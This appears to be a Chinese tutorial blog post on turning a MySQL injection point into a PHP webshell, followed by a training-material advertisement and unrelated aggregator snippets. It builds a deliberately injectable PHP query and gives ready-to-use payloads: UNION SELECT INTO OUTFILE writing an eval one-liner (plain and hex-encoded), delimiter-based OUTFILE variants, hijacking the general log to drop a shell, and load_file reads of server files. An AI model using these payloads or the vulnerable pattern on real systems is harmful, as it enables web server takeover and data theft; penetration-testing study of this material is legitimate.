news 2026/9/28 0:03:35

MySQL注入点写入WebShell的几种方式

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
MySQL注入点写入WebShell的几种方式

在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。

比如:当面对一个MySQL注入点,通过使用SQLmap的--os-shell命令选项,便可轻松一键获取Webshell,但是非正常退出时,便会在网站目录中存留SQLmap临时上传的Webshell文件。

接下来,本文将通过构造一个注入点,分享几种Webshell写入的技巧。

0x01 构造一个注入点

1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。

grant file on *.* to 'test'@'localhost';

但即使有了file权限,输出目录路径应该secure_file_priv一致,否侧文件操作不成功

mysql> show variables like '%sec%' -> ; +--------------------------+----------+ | Variable_name | Value | +--------------------------+----------+ | require_secure_transport | OFF | | secure_auth | ON | | secure_file_priv | | +--------------------------+----------+
1.MYSQL新特性限制文件写入及替代方法

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv

​ 1、限制mysqld 不允许导入 | 导出

​ --secure_file_prive=null

​ 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

​ --secure_file_priv=/tmp/

​ 3、不对mysqld 的导入 | 导出做限制

​ --secure_file_priv=

linux

cat /etc/my.cnf

​ [mysqld]

​ secure_file_priv=

win

my.ini

​ [mysqld]

​ secure_file_priv=

2、使用test用户连接数据库。

<?php $con=mysql_connect("localhost","test","123456"); mysql_select_db("test", $con); $id = $_REQUEST[ 'id' ]; $query = "SELECT * FROM test.admin WHERE id = $id "; $result = mysql_query($query); ......
0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户有File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php' ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+ 此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。
?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>'--+;

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)# ?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)# ?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)# ?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。

show variables like '%general%'; # 查看配置 set global general_log = on; # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。 set global general_log_file = 'E:/study/WWW/evil.php'; # 设置日志目录为shell地址 select '<?php eval($_GET[g]);?>' # 写入shell set global general_log=off; # 关闭general log模式

附录:高权限文件读取

load_file()读文件——select load_file(‘目录’)。路径使用\\,否则会被当作转义符号。

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

‌一、基础适配人群‌

  1. ‌零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. ‌开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. ‌应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

‌二、能力提升适配‌

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/26 10:19:00

Qwen2.5-VL-AWQ:320亿参数多模态模型如何重塑企业智能边界

Qwen2.5-VL-AWQ&#xff1a;320亿参数多模态模型如何重塑企业智能边界 【免费下载链接】Qwen2.5-VL-32B-Instruct-AWQ 项目地址: https://ai.gitcode.com/hf_mirrors/Qwen/Qwen2.5-VL-32B-Instruct-AWQ 导语 阿里通义千问团队推出的Qwen2.5-VL-32B-Instruct-AWQ量化模…

作者头像 李华
网站建设 2026/9/27 3:34:55

Pock:终极MacBook Touch Bar管理器,让你的效率翻倍!

Pock&#xff1a;终极MacBook Touch Bar管理器&#xff0c;让你的效率翻倍&#xff01; 【免费下载链接】pock Widgets manager for MacBook Touch Bar 项目地址: https://gitcode.com/gh_mirrors/po/pock 还在为MacBook Touch Bar的功能有限而烦恼吗&#xff1f;Pock作…

作者头像 李华
网站建设 2026/9/27 10:29:06

终极指南:5个技巧用PyTorch3D轻松搞定3D渲染

还在为3D建模和渲染的复杂流程而烦恼吗&#xff1f;PyTorch3D作为Meta AI推出的开源3D深度学习库&#xff0c;正以其强大的可微渲染能力和易用性&#xff0c;彻底改变了传统3D图像生成的工作方式。本文将带你探索如何用这个工具快速实现从简单3D模型到逼真2D图像的转换&#xf…

作者头像 李华
网站建设 2026/9/27 18:23:14

1、Python在Unix和Linux系统管理中的应用

Python在Unix和Linux系统管理中的应用 在系统管理领域,Python正发挥着越来越重要的作用。它以其简洁、高效和强大的功能,成为了Unix和Linux系统管理员的得力工具。下面将详细介绍Python在系统管理中的相关知识和应用。 一、相关资源 O’Reilly提供了许多与系统管理和Pytho…

作者头像 李华
网站建设 2026/9/27 16:12:26

7天掌握Arkime YARA:从零构建威胁检测防线

Arkime YARA规则是网络安全检测中的实用利器&#xff0c;通过简单的模式匹配就能识别网络流量中的可疑行为。对于刚开始接触网络安全的新手来说&#xff0c;掌握Arkime YARA规则可以让你在5分钟内快速部署基础检测能力&#xff0c;零基础也能轻松编写有效规则。 【免费下载链接…

作者头像 李华